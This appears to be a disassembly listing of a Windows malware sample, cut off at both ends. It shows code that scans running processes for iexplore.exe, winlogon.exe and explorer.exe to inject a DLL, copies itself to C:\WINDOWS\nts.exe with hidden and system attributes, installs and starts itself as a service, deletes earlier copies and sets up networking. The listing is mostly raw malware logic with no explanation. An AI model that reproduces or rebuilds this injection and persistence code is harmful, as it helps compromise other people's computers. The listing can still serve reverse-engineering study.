		jmp	short loc_44739C
; ---------------------------------------------------------------------------


loc_447373:				; CODE XREF: sub_4472FE+67j
		push	edi
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		jmp	short loc_44739C
; ---------------------------------------------------------------------------


loc_44737E:				; CODE XREF: sub_4472FE+55j
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_447C29	; Process32Next
		test	eax, eax
		jnz	short loc_447350
		push	edi
		call	dword_411CF8	; CloseHandle


loc_447396:				; CODE XREF: sub_4472FE+2Aj
		test	esi, esi
		jnz	short loc_44732A
		xor	eax, eax


loc_44739C:				; CODE XREF: sub_4472FE+39j
					; sub_4472FE+73j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4472FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4473A3	proc near		; CODE XREF: DMN1:0044744Bp
					; DMN1:0044751Bp
		push	ebx
		push	dword_41296C
		call	dword_411D50	; ResetEvent
		push	0
		push	0
		push	offset sub_405CF6
		call	sub_448891
		add	esp, 0Ch
		mov	ebx, eax
		push	2710h
		mov	eax, ebx
		push	eax
		call	dword_411D34	; WaitForSingleObject
		test	eax, eax
		jz	short loc_4473F8
		push	dword_41104C
		call	sub_442443
		pop	ecx
		mov	dword_41104C, 1
		mov	eax, ebx
		push	eax
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		jmp	short loc_447404
; ---------------------------------------------------------------------------


loc_4473F8:				; CODE XREF: sub_4473A3+30j
		mov	eax, ebx
		push	eax
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		inc	eax


loc_447404:				; CODE XREF: sub_4473A3+53j
		pop	ebx
		retn
sub_4473A3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_444677
		test	eax, eax
		jnz	loc_4475EC
		call	sub_4445D9
		test	eax, eax
		jnz	loc_4475EC
		call	sub_446FC3
		push	dword_41296C
		call	dword_411D50	; ResetEvent
		push	3E8h
		push	dword_41296C
		call	dword_411D34	; WaitForSingleObject
		call	sub_4473A3
		test	eax, eax
		jz	short loc_447484
		push	3E8h
		call	dword_411D00	; Sleep
		push	offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies>	e"...
		call	nullsub_4
		pop	ecx
		push	0FFFFFFFFh
		push	dword_41296C
		call	dword_411D34	; WaitForSingleObject
		push	dword_41296C
		call	dword_411D50	; ResetEvent


loc_447484:				; CODE XREF: DMN1:00447452j
		and	dword ptr [ebp-0Ch], 0
		mov	dword ptr [ebp-8], 4
		mov	esi, [ebp-0Ch]


loc_447492:				; CODE XREF: DMN1:004475C0j
		push	dword_41296C
		call	dword_411D50	; ResetEvent
		cmp	esi, 2
		ja	short loc_4474CE
		test	esi, esi
		jz	short loc_4474B3
		cmp	esi, 1
		jz	short loc_4474BC
		cmp	esi, 2
		jz	short loc_4474C5
		jmp	short loc_4474D2
; ---------------------------------------------------------------------------


loc_4474B3:				; CODE XREF: DMN1:004474A5j
		mov	dword ptr [ebp-4], offset aIexplore_exe	; "iexplore.exe"
		jmp	short loc_4474D2
; ---------------------------------------------------------------------------


loc_4474BC:				; CODE XREF: DMN1:004474AAj
		mov	dword ptr [ebp-4], offset aWinlogon_exe	; "winlogon.exe"
		jmp	short loc_4474D2
; ---------------------------------------------------------------------------


loc_4474C5:				; CODE XREF: DMN1:004474AFj
		mov	dword ptr [ebp-4], offset aExplorer_exe	; "explorer.exe"
		jmp	short loc_4474D2
; ---------------------------------------------------------------------------


loc_4474CE:				; CODE XREF: DMN1:004474A1j
		and	dword ptr [ebp-4], 0


loc_4474D2:				; CODE XREF: DMN1:004474B1j
					; DMN1:004474BAj ...
		call	sub_446E7F
		test	eax, eax
		jz	loc_4475C6
		cmp	esi, 2
		ja	short loc_4474F7
		push	offset dword_412970
		push	dword ptr [ebp-4]
		call	sub_44722F
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jmp	short loc_447512
; ---------------------------------------------------------------------------


loc_4474F7:				; CODE XREF: DMN1:004474E2j
		mov	edi, 64h


loc_4474FC:				; CODE XREF: DMN1:00447510j
		push	offset dword_412970
		call	sub_4472FE
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_447512
		dec	edi
		test	edi, edi
		jg	short loc_4474FC


loc_447512:				; CODE XREF: DMN1:004474F5j
					; DMN1:0044750Bj
		inc	esi
		test	ebx, ebx
		jz	loc_447599
		call	sub_4473A3
		test	eax, eax
		jz	short loc_447599
		push	3E8h
		call	dword_411D00	; Sleep
		push	offset aWaitingForDllD ; "waiting for <DLL dies> event...\n"
		call	nullsub_4
		pop	ecx
		jmp	short loc_447549
; ---------------------------------------------------------------------------


loc_44753C:				; CODE XREF: DMN1:0044755Fj
		call	sub_4445D9
		test	eax, eax
		jnz	loc_4475EC


loc_447549:				; CODE XREF: DMN1:0044753Aj
		push	2BCh
		push	dword_41296C
		call	dword_411D34	; WaitForSingleObject
		cmp	eax, 102h
		jz	short loc_44753C
		push	dword_41296C
		call	dword_411D50	; ResetEvent
		mov	esi, [ebp-0Ch]
		call	sub_4445D9
		test	eax, eax
		jz	short loc_44758E
		push	offset aDying	; "dying\n"
		call	nullsub_4
		pop	ecx
		push	1
		call	sub_448961
		pop	ecx
		jmp	short loc_4475EC
; ---------------------------------------------------------------------------


loc_44758E:				; CODE XREF: DMN1:00447577j
		push	offset aDllStopped___ ;	"DLL stopped...\n"
		call	nullsub_4
		pop	ecx


loc_447599:				; CODE XREF: DMN1:00447515j
					; DMN1:00447522j
		call	sub_444677
		test	eax, eax
		jnz	short loc_4475EC
		cmp	dword_411050, 0
		jz	short loc_4475BD
		push	offset dword_412970
		call	sub_448A11
		pop	ecx
		and	dword_411050, 0


loc_4475BD:				; CODE XREF: DMN1:004475A9j
		cmp	esi, [ebp-8]
		jle	loc_447492


loc_4475C6:				; CODE XREF: DMN1:004474D9j
		push	offset aInjectionthrea ; "InjectionThread complete\n"
		call	nullsub_4
		pop	ecx
		cmp	dword_411050, 0
		jz	short loc_4475EC
		push	offset dword_412970
		call	sub_448A11
		pop	ecx
		and	dword_411050, 0


loc_4475EC:				; CODE XREF: DMN1:00447416j
					; DMN1:00447423j ...
		call	sub_448921
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebx
		push	0
		push	0
		push	1
		push	0
		call	dword_411D40	; CreateEventA
		mov	dword_41296C, eax
		push	0
		push	0
		push	offset sub_406485
		call	sub_448891
		add	esp, 0Ch
		mov	ebx, eax
		push	0FFFFFFFFh
		mov	eax, ebx
		push	eax
		call	dword_411D34	; WaitForSingleObject
		mov	eax, ebx
		push	eax
		call	dword_411CF8	; CloseHandle
		push	0
		push	0
		push	offset sub_40356A
		call	sub_448891
		add	esp, 0Ch
		push	eax
		call	dword_411CF8	; CloseHandle
		push	1F4h
		call	dword_411D00	; Sleep
		push	0
		push	0
		push	offset sub_404967
		call	sub_448891
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	eax
		call	dword_411D34	; WaitForSingleObject
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447672	proc near		; CODE XREF: sub_447C0A+1p

var_2004	= byte ptr -2004h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 2004h
		call	sub_4486B1
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0
		xor	esi, esi
		mov	off_412958, offset aNts	; "NTS"
		call	sub_441FBD
		call	sub_4420E6
		call	sub_442018
		push	offset dword_413970
		call	dword_411CC8	; InitializeCriticalSection
		call	sub_442F0F
		mov	dword_412934, eax
		call	dword_411D90	; GetCommandLineA
		push	eax
		call	sub_4421AB
		pop	ecx
		cmp	dword_411000, 4
		jnz	loc_4477B0
		push	offset aUpdate_0 ; "*update"
		push	dword_4128A8
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	loc_4477B0
		call	sub_444585
		mov	[ebp+var_8], eax
		call	sub_4450E3
		mov	eax, dword_411018
		push	eax
		push	[ebp+var_8]
		push	offset aShutdownmutexc ; "ShutdownMutexCreate()=%i, h=%i\r\n"
		call	nullsub_4
		add	esp, 0Ch
		push	offset aWaiting10SecsS ; "waiting 10 secs -- shutdown...\r\n"
		call	nullsub_4
		pop	ecx
		push	1770h
		call	dword_411D00	; Sleep
		call	sub_445FED
		push	0FA0h
		call	dword_411D00	; Sleep
		call	sub_445FED
		call	sub_444606
		and	[ebp+var_C], 0
		push	dword_4128A4
		push	dword_4128B0
		push	dword_4128AC
		push	offset aNewSOldSSelfS ;	"new=<%s>, old=<%s>, self=<%s>\r\n"
		call	nullsub_4
		add	esp, 10h
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		push	dword_4128AC
		call	sub_4446A4
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4477A9
		push	0
		push	1
		push	0
		push	dword_4128B0
		call	sub_4446A4
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4477A9
		push	0
		push	1
		push	0
		push	dword_4128A4
		call	sub_4446A4
		add	esp, 10h
		test	eax, eax
		jz	short loc_4477B0


loc_4477A9:				; CODE XREF: sub_447672+105j
					; sub_447672+11Dj
		xor	eax, eax
		jmp	loc_447C03
; ---------------------------------------------------------------------------


loc_4477B0:				; CODE XREF: sub_447672+58j
					; sub_447672+71j ...
		call	sub_44508F
		test	eax, eax
		jz	short loc_4477C0
		xor	eax, eax
		jmp	loc_447C03
; ---------------------------------------------------------------------------


loc_4477C0:				; CODE XREF: sub_447672+145j
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jz	loc_4478A3
		push	offset aCopying___ ; "copying...\n"
		call	nullsub_4
		pop	ecx
		push	80h
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		call	dword_411D28	; SetFileAttributesA
		push	0
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D24	; CopyFileA
		test	eax, eax
		jz	loc_447895
		push	7
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		call	dword_411D28	; SetFileAttributesA
		lea	edi, [ebp+var_2004]
		mov	byte ptr [edi],	22h
		inc	edi
		push	dword_4128A4
		push	edi
		call	sub_4485F1
		pop	ecx
		pop	ecx
		push	dword_4128A4
		call	sub_4485D1
		pop	ecx
		add	edi, eax
		mov	byte ptr [edi],	22h
		inc	edi
		mov	byte ptr [edi],	0
		inc	edi
		lea	eax, [ebp+var_2004]
		push	eax
		push	offset aCmdlineS ; "cmdline: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		call	sub_4450E3
		lea	eax, [ebp+var_2004]
		push	eax
		call	sub_446AAB
		pop	ecx
		test	eax, eax
		jz	short loc_44787A
		xor	eax, eax
		jmp	loc_447C03
; ---------------------------------------------------------------------------


loc_44787A:				; CODE XREF: sub_447672+1FFj
		push	offset aCreateprocessF ; "CreateProcess() failed %%-(\n"
		call	nullsub_4
		pop	ecx
		call	sub_44508F
		test	eax, eax
		jz	short loc_4478A0
		xor	eax, eax
		jmp	loc_447C03
; ---------------------------------------------------------------------------


loc_447895:				; CODE XREF: sub_447672+197j
		push	offset aCopyingFailed ;	"copying failed	%%-(\n"
		call	nullsub_4
		pop	ecx


loc_4478A0:				; CODE XREF: sub_447672+21Aj
		xor	esi, esi
		inc	esi


loc_4478A3:				; CODE XREF: sub_447672+161j
		call	sub_443217
		call	sub_446780
		push	0
		push	0
		call	sub_44335D
		pop	ecx
		pop	ecx
		mov	dword_411004, eax
		push	offset aInitializingWi ; "initializing winsock library...\n"
		call	nullsub_4
		pop	ecx
		call	sub_44226D
		cmp	dword_411000, 1
		jle	loc_447974
		mov	eax, dword_4128A8
		cmp	byte ptr [eax],	2Ah
		jz	loc_447974
		push	80h
		push	dword_4128A8
		call	dword_411D28	; SetFileAttributesA
		push	dword_4128A8
		call	dword_411D4C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_447958
		push	dword_4128A8
		push	offset aRemovingS ; "removing: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	edi, 0Ah
		jmp	short loc_447951
; ---------------------------------------------------------------------------


loc_447925:				; CODE XREF: sub_447672+2E4j
		push	80h
		push	dword_4128A8
		call	dword_411D28	; SetFileAttributesA
		push	dword_4128A8
		call	dword_411D18	; DeleteFileA
		test	eax, eax
		jnz	short loc_447958
		push	3E8h
		call	dword_411D00	; Sleep


loc_447951:				; CODE XREF: sub_447672+2B1j
		dec	edi
		mov	eax, edi
		test	eax, eax
		jnz	short loc_447925


loc_447958:				; CODE XREF: sub_447672+298j
					; sub_447672+2D2j
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_447974
		mov	[ebp+var_4], 1


loc_447974:				; CODE XREF: sub_447672+262j
					; sub_447672+270j ...
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_4479D2
		push	offset asc_40E58D ; "**"
		push	dword_4128A8
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_4479D2
		push	offset aWaiting___ ; "*** waiting...\n"
		call	nullsub_4
		pop	ecx
		mov	edi, 0Ah


loc_4479AE:				; CODE XREF: sub_447672+353j
		call	sub_445C39
		test	eax, eax
		jz	short loc_4479C7
		push	1F4h
		call	dword_411D00	; Sleep
		dec	edi
		test	edi, edi
		jnz	short loc_4479AE


loc_4479C7:				; CODE XREF: sub_447672+343j
		push	offset aWaitingComplet ; "*** waiting complete...\n"
		call	nullsub_4
		pop	ecx


loc_4479D2:				; CODE XREF: sub_447672+315j
					; sub_447672+32Aj
		call	sub_445C39
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_447A2B
		push	offset aNoRegisteredSe ; "no registered	service, "
		call	nullsub_4
		pop	ecx
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_447A14
		mov	[ebp+var_4], 1
		push	offset aRegisterItAndR ; "register it and restart\n"
		call	nullsub_4
		pop	ecx
		jmp	loc_447AB5
; ---------------------------------------------------------------------------


loc_447A14:				; CODE XREF: sub_447672+389j
		push	offset aDonTRegisterIt ; "DON'T register it\n"
		call	nullsub_4
		pop	ecx
		and	[ebp+var_4], 0
		xor	esi, esi
		inc	esi
		jmp	loc_447AB5
; ---------------------------------------------------------------------------


loc_447A2B:				; CODE XREF: sub_447672+369j
		push	offset aRegisteredServ ; "registered service is	here...\n"
		call	nullsub_4
		pop	ecx
		call	sub_445C83
		test	eax, eax
		jz	short loc_447A46
		xor	eax, eax
		jmp	loc_447C03
; ---------------------------------------------------------------------------


loc_447A46:				; CODE XREF: sub_447672+3CBj
		push	offset aRegisteredSe_0 ; "registered service is	not running.\n"
		call	nullsub_4
		pop	ecx
		call	sub_445044
		test	eax, eax
		jnz	short loc_447AB5
		push	offset aInstallingServ ; "installing service, res="
		call	nullsub_4
		pop	ecx
		call	sub_445EAB
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		push	offset aI	; "%i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		call	sub_446032
		test	eax, eax
		jnz	short loc_447A8A
		call	sub_446108


loc_447A8A:				; CODE XREF: sub_447672+411j
		call	sub_4450E3
		push	offset aStartingServic ; "starting service...\n"
		call	nullsub_4
		pop	ecx
		call	sub_445DD7
		test	eax, eax
		jz	short loc_447AAA
		xor	eax, eax
		jmp	loc_447C03
; ---------------------------------------------------------------------------


loc_447AAA:				; CODE XREF: sub_447672+42Fj
		push	offset aRegisteredSe_1 ; "registered service is	not running, unre"...
		call	nullsub_4
		pop	ecx


loc_447AB5:				; CODE XREF: sub_447672+39Dj
					; sub_447672+3B4j ...
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_447AF6
		cmp	[ebp+var_4], 0
		jz	short loc_447AF6
		test	ebx, ebx
		jnz	short loc_447AF6
		push	offset aInstallingSe_0 ; "installing service...\n"
		call	nullsub_4
		pop	ecx
		call	sub_445EAB
		test	eax, eax
		jz	short loc_447AF6
		push	offset aServiceInstall ; "service installed ok...\n"
		call	nullsub_4
		pop	ecx
		xor	ebx, ebx
		inc	ebx


loc_447AF6:				; CODE XREF: sub_447672+456j
					; sub_447672+45Cj ...
		test	ebx, ebx
		jz	short loc_447B03
		call	sub_445044
		test	eax, eax
		jz	short loc_447B2D


loc_447B03:				; CODE XREF: sub_447672+486j
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_447B5D
		push	offset asc_40E58D ; "**"
		push	dword_4128A8
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_447B5D


loc_447B2D:				; CODE XREF: sub_447672+48Fj
		push	offset aStartingServic ; "starting service...\n"
		call	nullsub_4
		pop	ecx
		call	sub_4450E3
		call	sub_445DD7
		test	eax, eax
		jz	short loc_447B4D
		xor	eax, eax
		jmp	loc_447C03
; ---------------------------------------------------------------------------


loc_447B4D:				; CODE XREF: sub_447672+4D2j
		call	sub_44508F
		test	eax, eax
		jz	short loc_447B5D
		xor	eax, eax
		jmp	loc_447C03
; ---------------------------------------------------------------------------


loc_447B5D:				; CODE XREF: sub_447672+4A4j
					; sub_447672+4B9j ...
		call	sub_445C39
		test	eax, eax
		jz	short loc_447BB4
		call	sub_445044
		test	eax, eax
		jz	short loc_447BB4
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	dword_4128A4
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_447BB4
		push	offset asc_40E58D ; "**"
		push	dword_4128A8
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jz	short loc_447BB4
		push	offset aInitializingSe ; "initializing service startup sequence.."...
		call	nullsub_4
		pop	ecx
		call	sub_446A4A
		test	eax, eax
		jz	short loc_447BB1
		xor	eax, eax
		jmp	short loc_447C03
; ---------------------------------------------------------------------------


loc_447BB1:				; CODE XREF: sub_447672+539j
		xor	esi, esi
		inc	esi


loc_447BB4:				; CODE XREF: sub_447672+4F2j
					; sub_447672+4FBj ...
		push	offset aNotDaemonized_ ; "not daemonized...\n"
		call	nullsub_4
		pop	ecx
		test	esi, esi
		jz	short loc_447BCF
		push	dword_4128A4
		call	sub_4466F5
		pop	ecx


loc_447BCF:				; CODE XREF: sub_447672+54Fj
		call	sub_44508F
		test	eax, eax
		jz	short loc_447BDC
		xor	eax, eax
		jmp	short loc_447C03
; ---------------------------------------------------------------------------


loc_447BDC:				; CODE XREF: sub_447672+564j
		push	0
		push	0
		push	offset sub_406677
		call	sub_448891
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	eax
		call	dword_411D34	; WaitForSingleObject
		push	offset dword_40E000
		call	nullsub_4
		pop	ecx
		xor	eax, eax


loc_447C03:				; CODE XREF: sub_447672+139j
					; sub_447672+149j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447672	endp


; =============== S U B	R O U T	I N E =======================================



sub_447C0A	proc near		; CODE XREF: DMN1:00448AE2p
		push	ebx
		call	sub_447672
		mov	ebx, eax
		call	sub_4450E3
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_447C0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C1D	proc near		; CODE XREF: sub_44722F+1Bp
					; sub_4472FE+30p
		jmp	dword_411D84
sub_447C1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C23	proc near		; CODE XREF: sub_44722F+3Cp
					; sub_4472FE+4Dp
		jmp	dword_411D88
sub_447C23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C29	proc near		; CODE XREF: sub_44722F+B6p
					; sub_4472FE+88p
		jmp	dword_411D8C
sub_447C29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C2F	proc near		; CODE XREF: sub_44226D+1Ap
					; sub_44226D+34p
		jmp	dword_411E88
sub_447C2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C35	proc near		; CODE XREF: DMN1:004422D1p
		jmp	dword_411E8C
sub_447C35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C3B	proc near		; CODE XREF: sub_4422DA+Bp
					; DMN1:0044235Ep ...
		jmp	dword_411E90
sub_447C3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C41	proc near		; CODE XREF: sub_4422DA+36p
					; sub_4422DA+53p ...
		jmp	dword_411E94
sub_447C41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C47	proc near		; CODE XREF: sub_442443+4p
					; sub_443A83+152p ...
		jmp	dword_411E98
sub_447C47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C4D	proc near		; CODE XREF: sub_442450+56p
		jmp	dword_411E9C
sub_447C4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C53	proc near		; CODE XREF: sub_4424C3+11p
		jmp	dword_411EA0
sub_447C53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C59	proc near		; CODE XREF: sub_4424E8+28p
					; sub_442538+28p ...
		jmp	dword_411EA4
sub_447C59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C5F	proc near		; CODE XREF: sub_4424E8+3Ap
		jmp	dword_411EA8
sub_447C5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C65	proc near		; CODE XREF: sub_442538+3Ap
					; sub_443A83+E5p ...
		jmp	dword_411EAC
sub_447C65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C6B	proc near		; CODE XREF: sub_442588+8p
		jmp	dword_411EB0
sub_447C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C71	proc near		; CODE XREF: sub_4425A2+30p
					; sub_4425ED+3Fp
		jmp	dword_411EB4
sub_447C71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C77	proc near		; CODE XREF: sub_4425ED+5Fp
					; DMN1:004427C5p ...
		jmp	dword_411EB8
sub_447C77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C7D	proc near		; CODE XREF: sub_44265D+17p
					; sub_442694+18p ...
		jmp	dword_411EBC
sub_447C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C83	proc near		; CODE XREF: sub_442708+17p
		jmp	dword_411EC0
sub_447C83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C89	proc near		; CODE XREF: sub_44273F+8p
					; sub_44352A+EDp ...
		jmp	dword_411EC4
sub_447C89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C8F	proc near		; CODE XREF: sub_44273F+1Bp
		jmp	dword_411EC8
sub_447C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C95	proc near		; CODE XREF: DMN1:004427A8p
		jmp	dword_411ECC
sub_447C95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447C9B	proc near		; CODE XREF: DMN1:004427F7p
		jmp	dword_411ED0
sub_447C9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447CA1	proc near		; CODE XREF: DMN1:00442818p
					; sub_444094+5Cp ...
		jmp	dword_411ED4
sub_447CA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447CA7	proc near		; CODE XREF: sub_443A83+142p
					; sub_444094+FCp ...
		jmp	dword_411ED8
sub_447CA7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447CAD	proc near		; CODE XREF: sub_443A83+1DBp
					; sub_444094+16Dp ...
		jmp	dword_411EDC
sub_447CAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447CB3	proc near		; CODE XREF: sub_443A83+1E4p
					; sub_444094+176p ...
		jmp	dword_411EE0
sub_447CB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_447CB9	proc near		; CODE XREF: sub_444025+23p
					; sub_444025+4Bp
		jmp	dword_411EE8
sub_447CB9	endp

; ---------------------------------------------------------------------------
		db 2 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_447CC1	proc near		; CODE XREF: sub_441FC9+15p
					; DMN1:0044208Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_0]
		mul	[esp+8+arg_4]
		mov	esi, eax
		push	esi
		call	sub_449121
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_447CE8
		mov	edx, ebx
		mov	ecx, esi
		xor	eax, eax
		push	edi
		mov	edi, edx
		rep stosb
		pop	edi
		mov	eax, edx


loc_447CE8:				; CODE XREF: sub_447CC1+17j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_447CC1	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447CF1	proc near		; CODE XREF: sub_448071+59p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_C], 0FFFFFFFFh
		mov	ebx, [ebp+arg_0]
		add	ebx, 0FFFFFFFCh
		test	dword ptr [ebx], 80000000h
		jnz	short loc_447D1C
		call	sub_449321
		mov	dword ptr [eax], 16h
		jmp	loc_44805E
; ---------------------------------------------------------------------------


loc_447D1C:				; CODE XREF: sub_447CF1+19j
		mov	eax, [ebx]
		mov	edi, eax
		and	edi, 7FFFFFFFh
		lea	eax, [ebx-4]
		mov	[ebp+var_4], eax
		lea	ebx, [ebx+edi*4-4]
		lea	esi, [ebx+4]
		test	dword ptr [esi], 80000000h
		jnz	loc_447DCC
		mov	eax, [esi]
		lea	esi, [esi+eax*4-4]
		mov	eax, dword_4111E4
		cmp	[esi], eax
		ja	short loc_447D81
		mov	eax, dword_4111DC
		cmp	[esi], eax
		ja	short loc_447D69
		mov	eax, dword_4111D8
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_447D7C
; ---------------------------------------------------------------------------


loc_447D69:				; CODE XREF: sub_447CF1+64j
		mov	eax, dword_4111E0
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_447D7C:				; CODE XREF: sub_447CF1+76j
		mov	eax, [ebp+var_10]
		jmp	short loc_447DB2
; ---------------------------------------------------------------------------


loc_447D81:				; CODE XREF: sub_447CF1+5Bj
		mov	eax, dword_4111EC
		cmp	[esi], eax
		ja	short loc_447D9F
		mov	eax, dword_4111E8
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_447DB2
; ---------------------------------------------------------------------------


loc_447D9F:				; CODE XREF: sub_447CF1+97j
		mov	eax, dword_4111F0
		cmp	[esi], eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_447DB2:				; CODE XREF: sub_447CF1+8Ej
					; sub_447CF1+ACj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [esi]
		add	edi, eax
		mov	[esi], edi
		mov	eax, edi
		shl	eax, 2
		mov	edx, esi
		sub	edx, eax
		mov	[edx+4], edi
		mov	ebx, esi


loc_447DCC:				; CODE XREF: sub_447CF1+48j
		mov	eax, [ebp+var_4]
		test	dword ptr [eax], 80000000h
		jnz	loc_447EF8
		mov	eax, [ebp+var_4]
		mov	edx, [eax]
		add	edi, edx
		mov	edx, dword_4111E4
		cmp	[eax], edx
		ja	short loc_447E2B
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111DC
		cmp	[eax], edx
		ja	short loc_447E0F
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111D8
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_447E26
; ---------------------------------------------------------------------------


loc_447E0F:				; CODE XREF: sub_447CF1+106j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111E0
		cmp	[eax], edx
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_447E26:				; CODE XREF: sub_447CF1+11Cj
		mov	eax, [ebp+var_10]
		jmp	short loc_447E68
; ---------------------------------------------------------------------------


loc_447E2B:				; CODE XREF: sub_447CF1+F9j
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111EC
		cmp	[eax], edx
		ja	short loc_447E51
		mov	eax, [ebp+var_4]
		mov	edx, dword_4111E8
		cmp	[eax], edx
